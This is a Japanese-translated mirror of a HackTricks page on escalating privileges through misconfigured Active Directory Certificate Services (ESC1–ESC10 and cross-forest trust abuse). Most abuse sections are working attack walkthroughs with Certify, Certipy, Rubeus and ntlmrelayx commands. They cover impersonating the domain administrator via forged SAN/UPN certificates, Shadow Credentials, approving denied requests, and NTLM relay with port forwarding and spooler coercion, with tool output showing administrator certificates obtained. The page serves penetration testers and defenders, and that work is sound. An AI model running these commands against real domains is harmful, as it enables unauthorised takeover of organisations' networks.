Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00

Translator aee3e7ac7d Translated ['blockchain/blockchain-and-crypto-currencies/README.md', 'ge

2024-02-08 03:59:37 +00:00

44 KiB

Raw Blame History

AD CS ドメインエスカレーション

htARTE（HackTricks AWS Red Team Expert） を通じてゼロからヒーローまでAWSハッキングを学ぶ！

HackTricks をサポートする他の方法:

HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は SUBSCRIPTION PLANS をチェックしてください！
公式PEASS＆HackTricksスワッグを入手する
The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける
💬 Discordグループ に参加するか、telegramグループに参加するか、Twitter 🐦 で @carlospolopm をフォローする
ハッキングトリックを共有するために HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出する

これは投稿のエスカレーションテクニックセクションの要約です:

設定ミスの証明書テンプレート - ESC1

説明

設定ミスの証明書テンプレート - ESC1 の説明

エンタープライズCAによって低特権ユーザーに登録権限が付与されています。
マネージャーの承認は必要ありません。
権限のある人物からの署名は必要ありません。
証明書テンプレートのセキュリティ記述子が過度に許可されており、低特権ユーザーが登録権限を取得できます。
証明書テンプレートは、認証を容易にするEKU（Extended Key Usage）を定義するように構成されています:
クライアント認証（OID 1.3.6.1.5.5.7.3.2）、PKINITクライアント認証（1.3.6.1.5.2.3.4）、スマートカードログオン（OID 1.3.6.1.4.1.311.20.2.2）、任意の目的（OID 2.5.29.37.0）、またはEKUなし（SubCA）などの拡張キー使用（EKU）識別子が含まれています。
リクエスターが証明書署名リクエスト（CSR）でsubjectAltNameを含めることを許可するテンプレートがあります:
Active Directory（AD）は、証明書のSAN（subjectAltName）を優先して検証のために使用します。これは、CSRでSANを指定することで、証明書をリクエストして任意のユーザー（例：ドメイン管理者）を偽装できることを意味します。リクエスターがSANを指定できるかどうかは、証明書テンプレートのADオブジェクトで mspki-certificate-name-flag プロパティを介して示されます。このプロパティはビットマスクであり、 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグの存在により、リクエスターがSANを指定できます。

{% hint style="danger" %} 述べられた構成により、低特権ユーザーが任意のSANを持つ証明書をリクエストし、KerberosまたはSChannelを介して任意のドメインプリンシパルとして認証できるようになります。 {% endhint %}

この機能は、製品や展開サービスによるHTTPSやホスト証明書の即座の生成をサポートするために有効にされることがあります。または、理解不足によるものです。

このオプションを使用して証明書を作成すると、警告がトリガーされることがありますが、既存の証明書テンプレート（CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT が有効になっている WebServer テンプレートなど）を複製して変更して認証OIDを含める場合は、そのような場合は警告が表示されません。

悪用

脆弱な証明書テンプレートを見つけるには、次のコマンドを実行できます:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

この脆弱性を悪用して管理者になりすますために、次のコマンドを実行できます：

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

その後、生成された証明書を.pfx形式に変換して、再度Rubeusやcertipyを使用して認証することができます。

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windowsのバイナリ「Certreq.exe」と「Certutil.exe」を使用して、PFXを生成できます：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

AD Forestの構成スキーマ内の証明書テンプレートの列挙、特に承認や署名が必要ないもの、クライアント認証またはスマートカードログオンEKUを持ち、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTフラグが有効になっているものは、次のLDAPクエリを実行することで実行できます：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

設定ミスのある証明書テンプレート - ESC2

説明

2番目の悪用シナリオは最初のもののバリエーションです：

低特権ユーザーに対してエンタープライズCAによって登録権限が付与されています。
マネージャーの承認要件が無効になっています。
承認された署名の必要性が省略されています。
証明書テンプレートのセキュリティ記述子が過度に許可され、低特権ユーザーに証明書の登録権限が付与されています。
証明書テンプレートにはAny Purpose EKUまたはEKUが含まれていません。

Any Purpose EKUは、クライアント認証、サーバー認証、コード署名など、任意の目的で証明書を取得できるようにします。このシナリオを悪用するためには、ESC3で使用される技術と同じ手法が使用できます。

EKUがない証明書は、下位CA証明書として機能し、任意の目的で悪用され、新しい証明書に署名することもできます。したがって、攻撃者は下位CA証明書を利用して、新しい証明書に任意のEKUやフィールドを指定できます。

ただし、ドメイン認証用に作成された新しい証明書は、NTAuthCertificatesオブジェクトによって信頼されていない場合、機能しません。これはデフォルトの設定です。それにもかかわらず、攻撃者は依然として任意のEKUと任意の証明書値を持つ新しい証明書を作成できます。これらは、コード署名、サーバー認証など、さまざまな目的（SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに対して）に悪用される可能性があり、重要な影響を及ぼす可能性があります。

このシナリオに一致するテンプレートをAD Forestの構成スキーマ内で列挙するには、次のLDAPクエリを実行できます：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

設定ミスの登録エージェントテンプレート - ESC3

説明

このシナリオは、異なるEKU（証明書リクエストエージェント）を悪用し、2つの異なるテンプレートを使用する点で最初と2番目と同様です（そのため、2つの要件セットがあります）。

証明書リクエストエージェントEKU（OID 1.3.6.1.4.1.311.20.2.1）は、MicrosoftのドキュメントではEnrollment Agentとして知られており、主体が他のユーザーの代わりに証明書を登録することを可能にします。

「登録エージェント」はそのようなテンプレートに登録し、結果として得られた証明書を他のユーザーの代わりにCSRに共同署名します。その後、共同署名されたCSRをCAに送信し、「代理で登録」を許可するテンプレートに登録し、CAは**「他の」ユーザーに属する証明書**で応答します。

要件1:

企業CAによって低特権ユーザーに登録権限が付与されている。
マネージャー承認の要件が省略されている。
承認された署名の要件はありません。
証明書テンプレートのセキュリティ記述子が過剰に許可されており、低特権ユーザーに登録権限が付与されています。
証明書テンプレートにはCertificate Request Agent EKUが含まれており、他の主体の代わりに他の証明書テンプレートのリクエストを可能にします。

要件2:

企業CAが低特権ユーザーに登録権限を付与している。
マネージャーの承認がバイパスされています。
テンプレートのスキーマバージョンが1であるか、2を超えており、Certificate Request Agent EKUを必要とするApplication Policy Issuance Requirementが指定されています。
証明書テンプレートで定義されたEKUがドメイン認証を許可します。
CAに登録エージェントの制限が適用されていません。

悪用

CertifyまたはCertipyを使用して、このシナリオを悪用できます。

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

ユーザーが登録エージェント証明書を取得できるように許可されているユーザー、登録エージェントが登録を許可されているテンプレート、および登録エージェントが代理でアクションを起こすアカウントは、エンタープライズCAによって制限できます。これは、certsrc.msc スナップインを開き、CAを右クリックしてプロパティをクリックし、次に「登録エージェント」タブに移動することで実現されます。

ただし、CAのデフォルト設定は「登録エージェントを制限しない」ことに注意してください。管理者によって登録エージェントへの制限が有効になると、「登録エージェントを制限する」に設定すると、デフォルトの構成は非常に許可的なままです。これにより、Everyoneが誰でもすべてのテンプレートに登録できるようになります。

脆弱な証明書テンプレートアクセス制御 - ESC4

説明

証明書テンプレートのセキュリティ記述子は、テンプレートに関する特定のADプリンシパルが持つ権限を定義します。

攻撃者がテンプレートを変更し、前のセクションで説明された悪用可能なミス構成を導入するために必要な権限を持っている場合、特権昇格が容易になります。

証明書テンプレートに適用される注目すべき権限には次のものがあります：

Owner: オブジェクトに対する暗黙の制御を付与し、任意の属性を変更できるようにします。
FullControl: オブジェクトに対する完全な権限を付与し、任意の属性を変更できるようにします。
WriteOwner: オブジェクトの所有者を攻撃者の制御下のプリンシパルに変更できるようにします。
WriteDacl: アクセス制御を調整し、攻撃者にFullControlを付与する可能性があります。
WriteProperty: 任意のオブジェクトプロパティを編集する権限を承認します。

悪用

前述のような特権昇格の例：

ESC4は、ユーザーが証明書テンプレートに対する書き込み権限を持っている場合です。これは、たとえば、証明書テンプレートの構成を上書きしてテンプレートをESC1に脆弱にするために悪用される可能性があります。

上記のパスで見られるように、これらの権限を持っているのはJOHNPCだけですが、私たちのユーザーJOHNはJOHNPCに新しいAddKeyCredentialLinkエッジを持っています。このテクニックは証明書に関連しているため、Shadow Credentialsとしても知られるこの攻撃を実装しました。ここでは、Certipyのshadow autoコマンドを使用して被害者のNTハッシュを取得する方法を少し紹介します。

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipyは、1つのコマンドで証明書テンプレートの構成を上書きできます。デフォルトでは、Certipyは構成をESC1に脆弱にするように上書きします。攻撃後に構成を復元するために、-save-oldパラメータを指定することもできます。

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

脆弱なPKIオブジェクトアクセス制御 - ESC5

説明

証明書テンプレートや証明書機関以外の複数のオブジェクトを含むACLベースの相互関係の広範なウェブは、AD CSシステム全体のセキュリティに影響を与える可能性があります。セキュリティに大きな影響を与えるこれらのオブジェクトには、次のものが含まれます：

CAサーバーのADコンピューターオブジェクトは、S4U2SelfやS4U2Proxyなどのメカニズムを介して侵害される可能性があります。
CAサーバーのRPC/DCOMサーバー。
特定のコンテナパスCN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内の任意の子孫ADオブジェクトまたはコンテナ。このパスには、証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、およびEnrollment Servicesコンテナなどのコンテナやオブジェクトが含まれます。

PKIシステムのセキュリティは、低特権の攻撃者がこれらの重要なコンポーネントのいずれかを制御できる場合に危険にさらされる可能性があります。

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

説明

CQure Academyの投稿で議論されている主題は、Microsoftによって概説された**EDITF_ATTRIBUTESUBJECTALTNAME2フラグの影響にも触れています。この構成は、認証機関（CA）で有効になっている場合、ユーザー定義の値をサブジェクト代替名に含めることを許可します。これには、Active Directory®から構築されたリクエストを含む任意のリクエストが含まれます。したがって、この構成により、侵入者がドメイン認証向けに設定された任意のテンプレート**（特に権限のないユーザーが利用できる標準ユーザーテンプレートなど）を介して登録することが可能となります。その結果、証明書を取得し、侵入者がドメイン管理者やドメイン内の他のアクティブなエンティティとして認証することができます。

注意: certreq.exeの-attrib "SAN:"引数を介して証明書署名リクエスト（CSR）に代替名を追加するアプローチ（「名前値ペア」と呼ばれる）は、ESC1でSANの悪用戦略とは異なります。ここでは、アカウント情報がどのようにカプセル化されるかに違いがあります。証明書属性内に、拡張子ではなくアカウント情報が含まれています。

悪用

設定が有効になっているかどうかを確認するために、組織はcertutil.exeを使用して次のコマンドを利用できます：

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

この操作は基本的にリモートレジストリアクセスを使用しているため、代替手段として次の方法が考えられます:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

ツールCertifyやCertipyは、このミス構成を検出し、それを悪用することができます：

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

以下の設定を変更するには、ドメイン管理者権限または同等の権限を持っていると仮定して、次のコマンドを任意のワークステーションから実行できます：

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

この構成を無効にするには、次のようにフラグを削除できます：

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

{% hint style="warning" %} 2022年5月のセキュリティ更新プログラムの後、新しく発行される証明書には、リクエスターのobjectSidプロパティを組み込んだセキュリティ拡張機能が含まれます。ESC1の場合、このSIDは指定されたSANから派生します。しかし、ESC6の場合、SIDはSANではなく、**リクエスターのobjectSid**を反映します。
ESC6を悪用するには、新しいセキュリティ拡張機能よりもSANを優先するESC10（弱い証明書マッピング）にシステムが影響を受けやすいことが不可欠です。 {% endhint %}

脆弱な証明書機関アクセス制御 - ESC7

攻撃1

説明

証明書機関のアクセス制御は、CAのアクションを規定する一連の権限によって維持されます。これらの権限は、certsrv.mscにアクセスしてCAを右クリックし、プロパティを選択し、セキュリティタブに移動することで表示できます。さらに、PSPKIモジュールを使用して次のようなコマンドで権限を列挙することもできます：

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

これにより、主要な権限である**ManageCAとManageCertificates**に関連する「CA管理者」と「証明書マネージャー」の役割が明らかになります。

悪用

証明機関で**ManageCA権限を持つことにより、PSPKIを使用してリモートで設定を操作することが可能になります。これには、任意のテンプレートでSAN指定を許可するEDITF_ATTRIBUTESUBJECTALTNAME2**フラグを切り替えることが含まれ、ドメインエスカレーションの重要な側面です。

このプロセスを簡素化することは、PSPKIのEnable-PolicyModuleFlagコマンドレットを使用して、直接のGUI操作なしに変更を行うことが可能です。

**ManageCertificates**権限の所有は、保留中のリクエストを承認し、実質的に「CA証明書マネージャーの承認」保護を回避することを容易にします。

CertifyモジュールとPSPKIモジュールの組み合わせを使用して、証明書のリクエスト、承認、ダウンロードを行うことができます：

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

攻撃2

説明

{% hint style="warning" %} 前回の攻撃では、Manage CA 権限を使用して EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを有効にし、ESC6攻撃を実行しましたが、これはCAサービス（CertSvc）が再起動されるまで効果がありません。ユーザーが Manage CA アクセス権を持っていると、ユーザーはサービスを再起動することも許可されます。ただし、これはユーザーがリモートでサービスを再起動できることを意味するわけではありません。さらに、2022年5月のセキュリティ更新プログラムにより、ほとんどのパッチ済み環境では ESC6 がデフォルトで機能しない可能性があります。 {% endhint %}

したがって、ここで別の攻撃が提示されています。

前提条件：

ManageCA 権限のみ
Manage Certificates 権限（ManageCA から付与される可能性があります）
証明書テンプレート SubCA が有効である必要があります（ManageCA から有効にできます）

この技術は、Manage CA および Manage Certificates アクセス権を持つユーザーが 失敗した証明書リクエストを発行 できるという事実に依存しています。 SubCA 証明書テンプレートは ESC1に脆弱 ですが、管理者のみ がテンプレートに登録できます。したがって、ユーザー は SubCA に登録するよう リクエスト できますが、これは 拒否されます が、その後 マネージャーによって発行されます。

悪用

新しいオフィサーとしてユーザーを追加することで、Manage Certificates アクセス権を 自分に付与 することができます。

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

**SubCA**テンプレートは、デフォルトで有効になっていますが、-enable-templateパラメータを使用してCAで有効にすることができます。

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

もし、この攻撃のための前提条件を満たしている場合、SubCAテンプレートに基づいて証明書をリクエストすることから始めることができます。

このリクエストは拒否されますが、私たちは秘密鍵を保存し、リクエストIDをメモしておきます。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

**Manage CAとManage Certificates**を使用して、caコマンドと-issue-request <request ID>パラメータを使用して、失敗した証明書リクエストを発行できます。

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

そして、reqコマンドと-retrieve <request ID>パラメータを使用して、発行された証明書を取得できます。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

Explanation

{% hint style="info" %} AD CSがインストールされている環境では、脆弱なWebエンロールメントエンドポイントが存在し、少なくとも1つの証明書テンプレートが公開されていて、ドメインコンピュータのエンロールメントとクライアント認証を許可する（デフォルトの**Machine**テンプレートなど）場合、スプーラーサービスがアクティブなコンピュータは攻撃者によって侵害される可能性があります！ {% endhint %}

AD CSでは、複数のHTTPベースのエンロールメントメソッドがサポートされており、管理者がインストールできる追加のサーバーロールを介して利用できます。これらのHTTPベースの証明書エンロールメント用インターフェースは、NTLMリレーアタックの影響を受けます。侵害されたマシンから、攻撃者は入力NTLM経由で認証される任意のADアカウントをなりすますことができます。被害者アカウントをなりすましている間、これらのWebインターフェースにアクセスして、**UserまたはMachine**証明書テンプレートを使用してクライアント認証証明書を要求することができます。

Webエンロールメントインターフェース（http://<caserver>/certsrv/で利用可能な古いASPアプリケーション）は、デフォルトでHTTPのみであり、NTLMリレーアタックに対する保護を提供しません。さらに、そのAuthorization HTTPヘッダーを介して明示的にNTLM認証のみを許可しており、より安全な認証方法であるKerberosを適用できなくしています。
証明書エンロールメントサービス（CES）、証明書エンロールメントポリシー（CEP）Webサービス、およびネットワークデバイスエンロールメントサービス（NDES）は、デフォルトでNegotiate認証をサポートしています。Negotiate認証はKerberosとNTLMの両方をサポートし、リレーアタック中にNTLM認証にダウングレードすることが可能です。これらのWebサービスはデフォルトでHTTPSをサポートしていますが、HTTPS単体ではNTLMリレーアタックからの保護はできません。HTTPSサービスのNTLMリレーアタックからの保護は、HTTPSとチャネルバインディングを組み合わせた場合のみ可能です。残念ながら、AD CSはIISでの拡張保護の有効化を行っておらず、これはチャネルバインディングに必要です。

NTLMリレーアタックの一般的な問題は、NTLMセッションの短い期間と、NTLM署名が必要なサービスとのやり取りができないことです。

ただし、この制限は、NTLMリレーアタックを利用してユーザーの証明書を取得することで克服されます。証明書の有効期間がセッションの期間を規定し、証明書はNTLM署名が必要なサービスで使用することができます。盗まれた証明書の使用方法については、次を参照してください：

{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}

NTLMリレーアタックのもう1つの制限は、攻撃者が制御するマシンが被害者アカウントによって認証される必要があるということです。攻撃者は、この認証を待つか、または強制的に試みることができます：

{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Abuse

Certifyのcasは、有効なHTTP AD CSエンドポイントを列挙します：

Certify.exe cas

msPKI-Enrollment-Serversプロパティは、エンタープライズ証明書機関（CAs）が証明書登録サービス（CES）エンドポイントを保存するために使用されます。これらのエンドポイントは、ツールCertutil.exeを利用して解析およびリスト化することができます。

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA

```powershell Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

証明書を悪用

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Certipyを悪用

証明書のリクエストは、アカウント名が$で終わるかどうかによって、CertipyによってデフォルトでMachineまたはUserのテンプレートに基づいて行われます。別のテンプレートを指定するには、-templateパラメータを使用します。

その後、PetitPotamのようなテクニックを使用して認証を強制することができます。ドメインコントローラーを扱う場合、-template DomainControllerの指定が必要です。

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

セキュリティ拡張なし - ESC9

説明

新しい値 CT_FLAG_NO_SECURITY_EXTENSION (0x80000) は msPKI-Enrollment-Flag に対する ESC9 として参照され、証明書に 新しい szOID_NTDS_CA_SECURITY_EXT セキュリティ拡張 を埋め込むことを防止します。このフラグは、StrongCertificateBindingEnforcement が 1 に設定されている場合（デフォルト設定）と、2 に設定されている場合とは対照的に、重要性を持ちます。この重要性は、Kerberos や Schannel のためのより弱い証明書マッピングが悪用される可能性がある場合（ESC10のような場合）に高まります。ESC9 が存在しない場合、要件が変わらないため、その重要性が高まります。

このフラグの設定が重要になる条件には以下が含まれます：

StrongCertificateBindingEnforcement が 2 に調整されていない場合（デフォルトは 1）、または CertificateMappingMethods に UPN フラグが含まれている場合。
証明書に msPKI-Enrollment-Flag 設定内の CT_FLAG_NO_SECURITY_EXTENSION フラグが付いている。
証明書で任意のクライアント認証 EKU が指定されている。
他のアカウントを妨害するために GenericWrite 権限が利用可能である。

悪用シナリオ

John@corp.local が Jane@corp.local に対して GenericWrite 権限を持ち、Administrator@corp.local を妨害することを目指しているとします。Jane@corp.local が登録を許可されている ESC9 証明書テンプレートは、msPKI-Enrollment-Flag 設定で CT_FLAG_NO_SECURITY_EXTENSION フラグが設定されています。

最初に、John の GenericWrite により、Jane のハッシュを Shadow Credentials を使用して取得します。

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

その後、JaneのuserPrincipalNameがAdministratorに変更され、意図的に@corp.localドメイン部分が省略されました：

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

この変更は制約を犯さず、Administrator@corp.local が Administrator の userPrincipalName として区別されたままであることが前提です。

この後、脆弱とマークされた ESC9 証明書テンプレートが Jane としてリクエストされます：

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

証明書の userPrincipalName には、"Administrator" が反映されており、"object SID" は含まれていません。

その後、Jane の userPrincipalName は元に戻され、Jane@corp.local になります。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

認証を発行された証明書で試みると、Administrator@corp.local の NT ハッシュが得られます。証明書にドメインの指定がないため、コマンドには -domain <domain> を含める必要があります。

certipy auth -pfx adminitrator.pfx -domain corp.local

弱い証明書マッピング - ESC10

説明

ESC10で参照されるドメインコントローラー上の2つのレジストリキー値：

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\SchannelのCertificateMappingMethodsのデフォルト値は0x18 (0x8 | 0x10) で、以前は0x1Fに設定されていました。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\KdcのStrongCertificateBindingEnforcementのデフォルト設定は1で、以前は0でした。

ケース1

StrongCertificateBindingEnforcementが0に設定されている場合。

ケース2

CertificateMappingMethodsにUPNビット(0x4)が含まれている場合。

悪用ケース1

StrongCertificateBindingEnforcementが0に設定されている場合、GenericWrite権限を持つアカウントAを悪用して、任意のアカウントBを侵害することができます。

例えば、Jane@corp.localに対するGenericWrite権限を持っている場合、攻撃者はAdministrator@corp.localを侵害することを目指します。手順はESC9を模倣し、任意の証明書テンプレートを利用できます。

最初に、Janeのハッシュを取得し、Shadow Credentialsを悪用します。

certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane

その後、JaneのuserPrincipalNameがAdministratorに変更され、意図的に@corp.localの部分が省略され、制約違反を回避しています。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

以下に従って、デフォルトのUserテンプレートを使用して、Janeとしてクライアント認証を可能にする証明書がリクエストされます。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

JaneのuserPrincipalNameは元に戻され、Jane@corp.localになります。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local

取得した証明書で認証すると、Administrator@corp.local の NT ハッシュが得られます。証明書にドメインの詳細が含まれていないため、コマンドでドメインを指定する必要があります。

certipy auth -pfx administrator.pfx -domain corp.local

悪用ケース2

CertificateMappingMethods に UPN ビットフラグ (0x4) が含まれている場合、GenericWrite 権限を持つアカウント A は、userPrincipalName プロパティを持たないアカウント B（マシンアカウントや組み込みドメイン管理者 Administrator を含む）を妨害できます。

ここでは、GenericWrite を活用して、Jane のハッシュを取得し、DC$@corp.local を妨害することを目指します。

certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane

JaneのuserPrincipalNameはDC$@corp.localに設定されます。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'

クライアント認証用の証明書が、デフォルトのUserテンプレートを使用してJaneとしてリクエストされます。

certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>

JaneのuserPrincipalNameは、このプロセスの後に元に戻ります。

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'

認証するためにSchannelを介して、Certipyの-ldap-shellオプションが利用され、認証成功をu:CORP\DC$として示します。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

LDAPシェルを介して、`set_rbcd`などのコマンドを使用すると、Resource-Based Constrained Delegation（RBCD）攻撃が可能になり、ドメインコントローラーが危険にさらされる可能性があります。

certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell

この脆弱性は、userPrincipalNameを持たないユーザーアカウントや、それがsAMAccountNameと一致しないユーザーアカウントにも拡張されます。デフォルトのAdministrator@corp.localは、userPrincipalNameがデフォルトで存在せず、LDAP権限が昇格しているため、攻撃対象となります。

被動態で説明される証明書を使用したフォレストの侵害

侵害されたCAによるフォレストトラストの破壊

クロスフォレストの登録の構成は比較的簡単です。リソースフォレストからのルートCA証明書は、管理者によってアカウントフォレストに公開され、リソースフォレストからのエンタープライズCA証明書は、各アカウントフォレストのNTAuthCertificatesおよびAIAコンテナに追加されます。この配置により、リソースフォレストのCAは、PKIを管理する他のすべてのフォレストに対して完全な制御権を持つことになります。したがって、このCAが攻撃者によって侵害された場合、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書が偽造される可能性があり、それによりフォレストのセキュリティ境界が破られます。

外部プリンシパルに付与された登録特権

複数のフォレスト環境では、認証ユーザーまたは外部プリンシパル（エンタープライズCAが所属するフォレスト外のユーザー/グループ）に登録および編集権限を許可する証明書テンプレートを公開するエンタープライズCAに注意が必要です。
信頼関係を介して認証されると、ADによってユーザーのトークンに認証ユーザーSIDが追加されます。したがって、エンタープライズCAを持つドメインが、認証ユーザーの登録権限を許可するテンプレートを持っている場合、異なるフォレストのユーザーがテンプレートに登録する可能性があります。同様に、テンプレートによって外部プリンシパルに登録権限が明示的に付与されている場合、クロスフォレストのアクセス制御関係が作成され、1つのフォレストからのプリンシパルが他のフォレストのテンプレートに登録できるようになります。

これらのシナリオのいずれも、1つのフォレストから別のフォレストへの攻撃面の増加につながります。証明書テンプレートの設定は、攻撃者が外部ドメインで追加の特権を取得するために悪用される可能性があります。

44 KiB Raw Blame History Unescape Escape